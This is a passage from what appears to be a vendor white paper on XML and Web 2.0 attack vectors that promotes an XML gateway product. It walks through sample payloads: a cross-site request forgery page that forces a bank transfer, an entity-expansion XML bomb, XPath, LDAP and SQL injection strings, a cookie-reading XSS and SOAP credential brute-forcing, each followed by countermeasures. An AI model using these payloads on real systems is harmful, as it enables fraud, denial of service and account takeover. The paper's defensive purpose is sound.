will get replayed as well. The transfer will take place successfully.

Here is a transfer request for user A

POST /login/transfer.rem HTTP/1.0

Host: bank.org

User-Agent: Mozilla/5.0 (Windows; U; Windows

NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208

Firefox/3.0.1

Accept: text/html,application/

xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Content-Length: 210

Content-Type: application/xml; charset=UTF-8

Pragma: no-cache

Cache-Control: no-cache

Cookie: cid=213123454367439

<?xml version=”1.0”?><methodCall><methodName>

bank.transfer</methodName><params><param><val

ue><string>ACT23457890</string></value></param

><param><value><double>1200</double></value></

param></params></methodCall>

In the above HTTP POST request User A transfers US$1200 to ac-

count for ACT23457890. All transfer information is part of the XML

stream and the call is of a typical XML-RPC type. The application is

making a decision regarding transfer based solely on the cookie sent

as part of the request. XML call is initiated from the browser using

Ajax via XHR object. Ajax call defines a content type in the following

HTTP directive.

Content-Type: application/xml; charset=UTF-8

Now it is possible to exploit this scenario. An attacker can create a

dummy HTML page and host it on a cross domain. The following page

is hosted on attacker.org.

<html>

<body>

<FORM NAME=”transfer” ENCTYPE=”text/plain”

action=”http://www.bank.org/login/transfer”

METHOD=”POST”>

<input type=”hidden” name=’<?xml ver-

sion’ value=’”1.0”?><methodCall><methodName>b

ank.transfer</methodName><params><param><valu

e><string>ACT33251800</string></value></param>

<param><value><double>1500</double></value></

param></params></methodCall>’>

</FORM>

<script>document.transfer.submit();</script>

</body>

</html>

As soon as User A visits this page, the browser will initiate HTTP POST

request for transferring US$1500 to account for ACT33251800. This

request is forcefully generated without a consent. The HTTP request

would look as mentioned below:

POST /login/transfer HTTP/1.0

Host: www.bank.org

User-Agent: Mozilla/5.0 (Windows; U; Windows

NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208

Firefox/3.0.1

Accept: text/html,application/

xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Referer: /login/transfer.html

Content-Type: text/plain

Content-Length: 212

<?xml version=”1.0”?><methodCall><methodName>

bank.transfer</methodName><params><param><val

ue><string>ACT23457890</string></value></param

><param><value><double>1500</double></value></

param></params></methodCall>

The only difference in the HTTP request is its content type. Since it

is generated from the form and not XHR object, it is “Content-Type:

text/plain”.

26


Consequently, XIP needs to protect upstream XML structures hit-

ting the services layer. One needs to validate the origin and type of

the content. Application layer validations can be put in place by using

CAPTCHA or unique tokens. This type of CSRF call can be initiated for

any type of XML stream. It is possible to manipulate SOAP- or REST-

based applications as well.

4.3 XML poisoning and bombingWeb 2.0 applications consume XML blocks coming from AJAX clients.

It is possible to poison this XML block which represents XML-RPC or

SOAP calls. A common technique is to apply recursive payloads to sim-

ilar-producing XML nodes multiple times. At the application layer, little

code or libraries would be handling this incoming XML block, and if it

processes poorly, then it may result in a Denial of Services on the server.

Many attackers also produce malformed XML documents that can dis-

rupt logic depending on parsing mechanisms in use on the server. There

are two types of parsing mechanisms available on the server side – SAX

and DOM. This same attack vector is also used with Web services, since

they consume SOAP messages, and SOAP messages are nothing but

XML messages. Large-scale adaptation of XMLs at the application layer

opens up new opportunities to use this new attack vector.

In the example below, nodes nested in such a way that SAX parsing

will break.

<CustomerRecord>

<CustomerNumber>289001</CustomerNumber>

<FirstName>Rob</FirstName><CustomerNumber>2890

01</CustomerNumber>

<FirstName>Rob</FirstName>

<LastName>Smith</LastName>

<Address>Apt #21, 1st Street</Address>

</ CustomerRecord>

Similarly, if the application is doing DOM based parsing then following

the XML stream will put it into a big loop while loading for the process-

ing and may cause Denial of Services.

<CustomerRecord>

<CustomerNumber>289001</CustomerNumber>



... 100 time…


<LastName>Smith</LastName>

<Address>Apt 31, 1st Street<Address>

<Email>[email protected]<Email>

<PhoneNumber>3809922347<PhoneNumber>

</ CustomerRecord>

Above methods can poison the XML streams.

Another way of poisoning or bombarding XML streams is by injecting

multiple nodes into DTD. DTD loading may end up consuming a lot of

memory and may consequently cause application layer Denial of Service

as well. Here is an example of XML bombing by expanding entities:


<!DOCTYPE SOAP-ENV:Envelope [

<!ELEMENT SOAP-ENV:Envelope ANY>

<!ATTLIST SOAP-ENV:Envelope entityReference

CDATA #IMPLIED>

<!ENTITY a0 “XML Bomb”>

<!ENTITY a1 “&x0;&x0;”>

<!ENTITY a2 “&x1;&x1;”>

...

<!ENTITY a20 “&x19;&x19;”>

<!ENTITY a21 “&x20;&x20;”>

…

<!ENTITY a99 “&x98;&x98;”>

]>

XIP then needs to add protection against these vectors before it hits

the Web 2.0 application layer. If these vectors get injected into the

Web 2.0 application and the application is vulnerable, then they may

cause potential harm to the application. Checking the size of the XML

stream or node structure at the XML gateway can help protect the

application. A good set of rules at XIP can help protect against this at-

tack vector.

4.4 In transit routing and revelation Web 2.0 applications are using Web Services extensively and WS-

Routing protocol empowers a SOAP message to traverse through

complex environments. The Paths for transmission can be defined in

the header section of the SOAP protocol as per specification. So SOAP

tunneling is not point to point, but can have multiple routes. There is

a way to define envelope traversal from start to end point. If any of

these intermediate targets are compromised then there is a significant

risk to information. Manipulating an envelope in transit is also possible.

For example, here is a simple SOAP message with intermediate nodes

for transmission:

<S:Envelope xmlns:S=”http://schemas.xmlsoap.org/

soap/envelope/”>

<S:Header>

<m:path xmlns:m=”http://schemas.xmlsoap.

org/rp/”>

<m:action>http://bluetest/test</m:action>

27


<m:to>soap://bluerecv/end</m:to>

<m:fwd>

<m:via>soap://A.com</m:via>

<m:via>soap://B.com</m:via>

</m:fwd>

<m:rev>

<m:via/>

</m:rev>

<m:id>uuid:xxxx-xxxx-xxxxx</m:id>

</m:path>

</S:Header>

<S:Body>

...

</S:Body>

</S:Envelope>

As shown in the snippet above, the header information of the SOAP

message contains both forward and reverse routes for messages. Any

flaw in routing can cause a man-in-the-middle (MITM) type of attack

that can pose a threat to the confidentiality and integrity of the infor-

mation going on the wire.

4.5 XPATH manipulationsXPATH is a popular means of processing an incoming XML stream.

XPATH helps in querying the various nodes of an XML document. Web

2.0 applications are using XPATH as part of their data access layer as

well. Data from the back-end gets fetched in XML format, and then it

gets processed by XPATH. If the XML stream coming to an application

is manipulated with XPATH then it can break the processing logic and

lead to potential compromise.

For example, here is a simple authentication XML stream over SOAP.

POST /ws/auth.asmx HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;

MS Web Services Client Protocol 2.0.50727.1433)

Content-Type: text/xml; charset=utf-8

SOAPAction: “http://tempuri.org/

getSecurityToken”

Host: 192.168.50.50

Content-Length: 355

Expect: 100-continue

Connection: Keep-Alive

<?xml version=”1.0” encoding=”utf-8-

”?><soap:Envelope xmlns:soap=”http://schemas.

xmlsoap.org/soap/envelope/” xmlns:xsi=”http://

www.w3.org/2001/XMLSchema-instance”

xmlns:xsd=”http://www.w3.org/2001/XMLSchema”><

soap:Body><getSecurityToken xmlns=”http://tem-

puri.org/”><username>’</username><password>*</

password></getSecurityToken></soap:Body></

soap:Envelope>

In the above case, envelope is invoking getSecurityToken method and

passing a single quote as a part of a user name, and we get the fol-

lowing response back from the services:


Connection: close

Date: Wed, 06 May 2009 11:16:20 GMT



X-AspNet-Version: 2.0.50727

Cache-Control: private


Content-Length: 1878





xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>

<soap:Body><soap:Fault><faultcode>soap:Serve

r</faultcode><faultstring>System.Web.Services.

Protocols.SoapException: Server was unable

to process request. ---> System.Xml.XPath.

XPathException: ‘//users[@username=’’’ and @

password=’*’]’ has an invalid token.

Here, the application layer is using XPATH to process the business

logic. This XPATH exception or vulnerability can be exploited by inject-

ing the following stream in the username node:

‘ or 1=1 or ‘’=’

This string is essentially like running a select query with OR 1=1. This

string will get matched at the first node of the XML document. Hence,

in this case the attacker gets automatically authenticated with a se-

curity token of a first user of the XML document as shown below.

HTTP/1.1 200 OK

Connection: close

Date: Wed, 06 May 2009 11:20:32 GMT



28



Cache-Control: private, max-age=0


Content-Length: 386


”?><soap:Envelope xmlns:soap=”http://

schemas.xmlsoap.org/soap/envelope/”


instance” xmlns:xsd=”http://www.w3.org/2001/

XMLSchema”><soap:Body><getSecurityTokenResp

onse xmlns=”http://tempuri.org/”><getSecurit

yTokenResult>0009879001</getSecurityTokenRe-

sult></getSecurityTokenResponse></soap:Body></

soap:Envelope>

Consequently, XIP needs to be configured in such a way that XPATH injec-

tions can be blocked right at the gateway. If the XML stream is tampered

with various combinations of XPATH strings, then it is possible to compro-

mise with the internal business logic or core services components.

4.6 XML node corruption and tamperingXML upstream coming to a Web 2.0 application can be tampered with

by an attacker. This tampering or corruption would enable the at-

tacker to enumerate different sets of vulnerabilities in the application

layer. Web 2.0 applications are consuming XML streams and process-

ing these nodes. These nodes can be tampered with by the payload

carrying an SQL injection, XSS, XPATH, LDAP and many other types

of injections. It is imperative to stop this kind of tampering to protect

Web 2.0 resources on the server side.

For example, here is a parameter which can be tampered with for

LDAP injection:






XMLSchema”><soap:Body><getInfo xmlns=”http://

tempuri.org/”><username>(</username></

getInfo></soap:Body></soap:Envelope>

In above case, we injected “(“ in the username node of the XML

stream. We get the following error message:

<?xml version=”1.0” encoding=”utf-8”?>


soap.org/soap/envelope/” xmlns:xsi=”http://



<soap:Body>

<soap:Fault>

<faultcode>soap:Server</faultcode>

<faultstring>Server was unable to process

request. --> The (samaccountname=()

search filter is invalid.</faultstring>

<detail />

</soap:Fault>

</soap:Body>

This becomes a clear case of LDAP injection. Similarly, it is possible to

have SQL or XSS injections with Web 2.0 applications. In some cases

Web 2.0 applications can be injected with raw JavaScript and this

script gets stored on the server side. This script code gets loaded in

the browser via DOM and causes DOM-based XSS.

XIP then can help in protecting this type of tampering by filtering cer-

tain sets of characters and payload strings. If XML nodes are having this

type of patterns then they should be blocked at the XML gateway.

4.7 XML fault enumeration and leakageInformation leakage too is one of the most common security threats

for Web 2.0 applications. There are various places where information

can be enumerated by an attacker. An attacker can enumerate infor-

mation from various streams like XML or JSON in Web 2.0 applications.

These streams leak critical inside information and can cause identifi-

cation of vulnerabilities or internal information pointers. In some cases

information shows exception stack, file path, internal IP addresses,

variables, logic know-how etc. It is easy for an attacker to inject a fault

in the application layer by tampering with or corrupting XML nodes.

This technique is widely known as fuzzing and for Web 2.0 one needs

an enhanced fuzzer to fuzz XML or JSON streams.

For example, here is the enumeration for SQL injection vulnerability:


Connection: close

Date: Thu, 07 May 2009 10:09:26 GMT







29







<soap:Body><soap:Fault><faultcode>soap:Serve

r</faultcode><faultstring>System.Web.Services.

Protocols.SoapException: Server was unable to

process request. ---> System.Data.SqlClient.

SqlException: Unclosed quotation mark after

the character string ‘’.

Incorrect syntax near ‘’.

at System.Data.SqlClient.SqlConnection.

OnError(SqlException exception, Boolean

breakConnection)

at System.Data.SqlClient.

SqlInternalConnection.OnError(SqlException ex-

ception, Boolean breakConnection)

at System.Data.SqlClient.TdsParser.ThrowExce

ptionAndWarning(TdsParserStateObject stateObj)

at System.Data.SqlClient.TdsParser.

Run(RunBehavior runBehavior, SqlCommand cmd-

Handler, SqlDataReader

…..

…..

….

--- End of inner exception stack trace

---</faultstring><detail /></soap:Fault></

soap:Body></soap:Envelope>

Similarly, in this case it is possible to enumerate the internal file sys-

tem issues since a fault would have broken the execution of the file

system object call.


Connection: close

Date: Thu, 07 May 2009 10:11:33 GMT











xmlns:xsd=”http://www.w3.org/2001/XMLSchem

a”><soap:Body><soap:Fault><faultcode>soap:

Server</faultcode><faultstring>System.Web.

Services.Protocols.SoapException: Server was

unable to process request. ---> System.

IO.DirectoryNotFoundException: Could not find a

part of the path ‘c:\inetpub\wwwroot\foo’.

at System.IO. _ _ Error.WinIOError(Int32 er-

rorCode, String maybeFullPath)

at System.IO.FileStream.Init(String path,

FileMode mode, FileAccess …

…

…

--- End of inner exception stack trace

---</faultstring><detail /></soap:Fault></

soap:Body></soap:Envelope>

If a Web 2.0 application is using JSON over XML, we get a similar error

embedded in JSON stream as shown below.

{“id”:5,”error”:{“name”:”JSONRPCError”,”message

”:”Invalid column name ‘a’.”,”errors”:[{“name”:

”SqlException”,”message”:”Invalid column name

‘a’.”}]}}

Here, a JSON stream is disclosing a SQL exception in the error blocks.

Consequently, XIP can protect this set of vulnerabilities by filtering

both incoming and outgoing XML streams. If an incoming XML stream

is having any fault injectable parameters then it should be blocked by

XIP at the gateway just as it does in protecting XML node tamper-

ing. At the same time, it is equally imperative to protect an outgoing

stream if it has any faults or strings which help an attacker enumerate

information. In such a case those streams should be blocked. If these

types of protections are added, then both vulnerability detection and

exploitation can be stopped for Web 2.0 applications.

4.8 Tampering with RESTREST is a very common architectural choice for Web 2.0 applications.

It is a subset of SOA and in this architecture XM streams are used as

the primary means for the communication channel. Since it is a re-

source centric architecture, URI is the key in defining an end-point

with XML as data structures. It is possible to manipulate XML nodes

in REST stream and that helps in exploiting vulnerabilities residing in

the source code. Both upstream and downstream can be corrupted in

a REST-driven application, and it is possible to cause a client side or

server side security breach.

30


For example, here is a call for CREATE in REST architecture which the

following XML structure is going to send to the specific URL - http://

www.example.org/Create-Customer

<Customer _ Collection>

<Customer>

<Name>John</Name>

<Email>[email protected]</Email>

</Customer>

<Customer>

<Name>Jack’; DELETE From Customer;

--</Name>

<Email>[email protected]’ ; DROP Table

Table _ Name ; --</Email>

</Customer>

</Customer _ Collection>

In the above case it is possible to inject SQL payload in the call and if

the application is vulnerable then an attacker can compromise with it

at ease. There are few REST calls which use XML as upstream to de-

fine business objectives. XML node manipulation with REST is very

common. REST-based applications are easy to fuzz and lead to vulner-

ability enumeration.

Similarly, REST applications can have client-side vulnerabilities such as XSS.

It is possible that persistent XSS residing in the database or permanent lo-

cation may serve malicious JavaScript which may cause DOM based XSS.

For example, here is a simple REST call where a user is asking for John’s

profile from the following URI - http://www.example.org/Get-Profile/john

<?xml version=”1.0”?>

<p:Profile xmlns:p=”http://example.org”

xmlns:xlink=”http://www.w3.org/1999/

xlink”>

<Name>John</Name>

<Email>alert(document.cookie)</Email>

</p:Profile>

Here, user John has injected Javascript in his email address and if

the client side application is vulnerable to DOM based XSS then this

script gets executed in the browser and any malicious payload can be

passed on as well.

Hence, XIP needs to protect both upstream and downstream XML

for any malicious signatures or patterns. REST based application re-

sources can be identified during the discovery phase and based on

their structure, XML stream filtering can be defined to protect this

type of architecture.

4.9 XML BruteforcingWeb 2.0 applications use an XML-based authentication routine. The

browser constructs the XML stream for the authentication resource

and sends it across. The application layer takes these parameters and

performs authentication against a database, LDAP or single sign-on.

It is possible to perform a bruteforce attack by using this XML stream.

An XML stream like SOAP has two areas — one is the SOAP header and

other is the SOAP body. Authentication credentials can be a part of

either of the sections. In a customized XML structure, it is part of the

body since XML-RPC or REST don’t have header sections. An attacker

can try a number of permutations and combinations for username and

password stream and try to identify the right combination.

For example, here is a SOAP body where authentication is taking place:

POST /ws/auth.asmx HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;

MS Web Services Client Protocol 2.0.50727.1433)


SOAPAction: “http://tempuri.org/

getSecurityToken”

Host: 192.168.50.50

Content-Length: 355

Expect: 100-continue

Connection: Keep-Alive






XMLSchema”><soap:Body><getSecurityToken

xmlns=”http://tempuri.org/”><username>john</

username><password>john123</password></

getSecurityToken></soap:Body></soap:Envelope>

In the above case it is possible to send multiple requests by crafting

SOAP and to bruteforce the getSecurityToken method of the applica-

tion layer.

Similarly, it is possible to bruteforce the header part of the SOAP mes-

sage as shown below.

<soap:Envelope>

-

<soap:Header>

<wsa:Action>http://tempuri.org/getAuthToken</

wsa:Action>

31


<wsa:MessageID>uuid:a7d32f08-63bf-4b88-9ec4-

40b7c88306cb</wsa:MessageID>

-

<wsa:ReplyTo>

-

<wsa:Address>

http://schemas.xmlsoap.org/ws/2004/03/addressing/

role/anonymous

</wsa:Address>

</wsa:ReplyTo>

<wsa:To>http://example.org/wsusertoken/service1.

asmx</wsa:To>

-

<wsse:Security soap:mustUnderstand=”1”>

-

<wsu:Timestamp wsu:Id=”Timestamp-

8adf0367-cc89-4350-a259-54f32c7a1c7e”>

<wsu:Created>2006-01-26T08:45:15Z</wsu:Created>

<wsu:Expires>2006-01-26T08:50:15Z</wsu:Expires>

</wsu:Timestamp>

-

<wsse:UsernameToken wsu:Id=”SecurityToken-

55f037ea-e2b1-4c76-85a7-bd54eee7d8eb”>

<wsse:Username>shreeraj</wsse:Username>

<wsse:Password Type=”http://docs.oasis-open.org/

wss/2004/01/oasis-200401-wss-username-token-pro-

file-1.0#PasswordDigest”>V82IcGwpcabnrMCRQFgZ8B

KkhEA=</wsse:Password>

<wsse:Nonce>YCPOpdPQ6670hcAvg1FrIg==</

wsse:Nonce>

<wsu:Created>2006-01-26T08:45:15Z</wsu:Created>

</wsse:UsernameToken>

</wsse:Security>

</soap:Header>

In the above case it is possible to bruteforce other users’ credentials

over WS-Security. If the application is using customized XML nodes

then it is easy to identify the right structure and bruteforce these

streams.

Hence, XIP can protect Web 2.0 applications and services by blocking

multiple requests coming from a certain client with many combi-

nations of usernames and passwords. This can be either done in

application logic by setting an audit trail or at the gateway by iden-

tifying this behavior and blocking the access of the end client.

Bruteforcing is like a lower hanging easy-to-reach fruit for an attacker,

and it is imperative to protect a Web 2.0 application’s authentication

mechanism against this attack vector.

4.10 XML Data Access Layer InjectionsWeb 2.0 applications create a customized data access layer. This data

access layer can be accessed over an XML stream. Ajax- or Flash-

based applications make XML calls to the back-end resource and this

resource serves as a data access layer. This resource feeds back an

XML stream to these components. Ajax and RIA process this XML

downstream and inject the content in the browser using DOM. It is

easy to identify these back end data access layers and then enumer-

ate for SQL injection vulnerabilities.

For example, here is an example where the following XML stream ac-

cesses a back-end data access layer over XML.


<products

<id>6</id>

</products>

Here the browser is sending node “id” with its value to the application

and the application processes and sends the following message back.

HTTP/1.1 200 OK

Connection: close

Date: Fri, 08 May 2009 07:10:10 GMT






Content-Length: 620

<?xml version=”1.0” encoding=”UTF-8-

”?><products><items product _ id=”6”

product _ name=”Monsoon Wedding” product _

desc _ summary=”Comedy / Drama / Romance” /></

products>

This illustrates a simple data access layer accessed by a flash-based

application. If any injections or malicious content are sent in the “id”

node we get the following error as part of flash plugin.

fault [FaultEvent fault=[RPC Fault

faultString=”HTTP request error”

faultCode=”Server.Error.Request”

faultDetail=”Error: [IOErrorEvent

type=”ioError” bubbles=false cancelable=false

eventPhase=2 text=”Error #2032: Stream Error.

URL: product.aspx”]. URL: product.aspx?id=4”]

32


messageId=”AAA1C620-F395-DBCC-9A36-1F134F379937”

type=”fault” bubbles=false cancelable=true

eventPhase=2]

It is easy to exploit once the stream and error are identified. These

types of open data access layers are becoming common with Web 2.0

applications and are also emerging as lower hanging, easy-to-reach

fruit for attackers.

Proposed CountermeasuresWhile traditional port-blocking firewalls countermeasures have worked

in the past, attackers can easily avoid these protections by focusing

their attacks on the weakest link. In all of the previous examples,

what we are seeing is the movement of network applications towards

a common network port - port 80. Keeping this in mind, typical

countermeasures require more than just port blocking. Instead, what

is needed is a content-aware application-level proxy or firewall that

meets the following requirements:

• Performance - Inspection of application level messages should add

minimal latency to the overall system. Solutions that cannot process

XML or Web 2.0 application feeds at very high speeds will fail to be

deployed or be avoided due to practical reasons.

• Future Proof - The biggest worry with new threats is how to get

ahead of the attacker when the threat hasn’t yet been identified

and formalized. Future proofing means having a general capability

for both forbidden and required patterns definable in a powerful lan-

guage such as regular expressions or XPath 2.0 to ensure that new

emerging threat signatures can be added as they are discovered.

• Unidirectional Protection - New content threats target not only

back-end systems, but now also clients. This means that the appli-

cation-level firewall must not only protect inbound traffic against

threats, but also outbound responses. This ensures that a malicious

script never reaches a client.

• “Hot” Signature updates - When new threats are discovered, pro-

tection must be delivered immediately, often to running production

applications. The firewall must be able to update its signature pat-

terns to running applications without losing a single message.

All of the previous requirements are implemented in Intel SOA

Expressway.

Performance - Intel SOA Expressway offers best-in-class XML

acceleration that scales on Intel Multi-Core CPUs, beating dedicated

hardware appliances by a factor of 4 to 8x for common applications.

Future-Proof - Expressway offers an extensible regular expression

language and XPath 2.0 support which allows the user to specify both

required and forbidden expressions before the attack is given a special

name.

Unidirectional Protection - Expressway can offer protection against

inbound requests as well as outbound responses using a single

shared content-attack prevention policy or different policies for either

inbound or outbound requests.

Hitless Updating - Expressway offers hitless updating of

running applications. This allows the user to update a content-

attack prevention policy in real-time to add additional threat

countermeasures and deploy it to a live production application

without losing a single message.

References[SOAP11] W3C Note, “SOAP: Simple Object Access Protocol 1.1,” 08

May, 2000.

[SwA] W3C Note, “SOAP Messages with Attachments”, 11

December, 2000, http://www.w3.org/TR/2000/NOTE-SOAP-

attachments-20001211.

[WSS-Sec] A. Nadalin et al., Web Services Security: SOAP Message

Security 1.0 (WS-Security 2004), OASIS Standard 200401, March,

2004, http://docs.oasisopen.org/wss/2004/01/oasis-200401-wss-

soap-message-security-1.0.pdf.

[XMLENC] W3C Working Draft, “XML Encryption Syntax and

Processing,” 04 March, 2002.

[DAVIS] Donald T. Davis, “Defective Sign & Encrypt in S/MIME, PKCS#7,

MOSS, PEM, PGP, and XML.”, Proc. Usenix Tech. Conf. 2001 (Boston,

Mass., 25-30 June, 2001).

[XMLSIG] W3C Recommendation, “XML Signature Syntax and

Processing,” 12 February, 2002.

[WS-Arch] W3C Note, Web Services Architecture 11 February, 2004.

http://www.w3.org/TR/ws-arch/

[WSDL] Web Services Description Language (WSDL) Version 2.0 Part 1:

Core Language, W3C Working Draft, R. Chinnici, M. Gudgin, J-J. Moreau, J.

Schlimmer, S. Weerawarana, 10 November, 2003.

[XML] Extensible Markup Language (XML) 1.0 (Second Edition), W3C

Recommendation, T. Bray, J. Paoli, C.M. Sperberg-McQueen, E. Maler. 6

October, 2000.

33


[XML-Schema] XML Schema Part 1: Structures. W3C Recommendation.

D. Beech, M. Maloney, N. Mendelsohn, H. Thompson. May, 2001, http://

www.w3.org/TR/2001/REC-xmlschema-1-20010502/.

[RELAX-NG] RELAX NG Specification, Committee Specification 3

December, 2001, http://www.relaxng.org/spec-20011203.html.

[Schematron] The Schematron Assertion Language 1.5 http://www.

dsdl.org/0524.pdf.

[XPath] XML Path Language (XPath) Version 1.0. W3C

Recommendation. J. Clark, S. DeRose. October 1999. http://www.

w3.org/TR/1999/REC-xpath-19991116.

[XSLT] XSL Transforms (XSLT) Version 1.0. W3C Recommendation. J.

Clark. November, 1999.

[WSS-SwA] Hirsch, Frederick, Web Services Security SOAP Message

with Attachments Profile 1.0, OASIS Draft 11, 2004.

[XML/RPC] XML-RPC Specification http://www.xmlrpc.com/spec

[ECMA262] ECMAScript Language Specification ISO/IEC Standard

16262

[JSON] D. Crockford. The application/json Media Type for JavaScript

Object Notation ( JSON). http://www.ietf.org/rfc/rfc4627.txt

About Intel® SOA Expressway

Intel SOA Expressway is a soft-appliance deployed to address common

XML and SOA problem areas such as acceleration, security, service

mediation and service governance. INtel SOA Expressway is available

for any organization deploying services (SOA) or looking to reduce

security risks for access to cloud services. It is “ecosystem neutral”

and integrates with existing identity management, middleware and

security monitoring investments. Intel SOA Expressway is available for

standard operating systems such as Windows and Linux and requires

no special custom hardware other than standard OEM servers.

More Information

Contact us by phone:

Americas: 1-978-948-2585

All other Geographies: 1-905-681-8768

Contact us by email:

[email protected]

For more comparison information and to register for webinars:

www.dynamicperimeter.com

For more product information:

www.intel.com/software/soae

Performance tests and ratings are measured using specifi c computer systems and/or components and refl ect the approximate performance of Intel products as measured by those tests. Any difference in system hardware or software design or confi guration may affect actual performance. Buyers should consult other sources of information to evaluate the performance of systems or components they are considering purchasing. For more information on performance tests and on the performance of Intel products, visit http://www.intel.com/performance/resources/limits.htm.

Dates and plans are preliminary and subject to change without notice Intel may make changes to specifi cations, release dates and product descriptions at any time, without notice. For processors with HT Technology, performance and functionality will vary depending on (i) the specifi c hardware and software you use and (ii) the feature enabling/system

confi guration by your system vendor. See www.intel.com/products/ht/hyperthreading_more.htm for information on HT Technology or consult your system vendor for more information. For more information go to: http://www.spec.org/spec/trademarks.html © 2010 Intel Corporation. Intel, Intel logo, Intel Inside logo, and Core are trademarks or registered trademarks of Intel Corporation, or its subsidiaries in the United States and other countries. * Other names and brands may be claimed as the property of others.

Printed in USA Please Recycle SOAE-XML Threat_White Paper-002US

protecting enterprise, saas & cloud-based...

Documents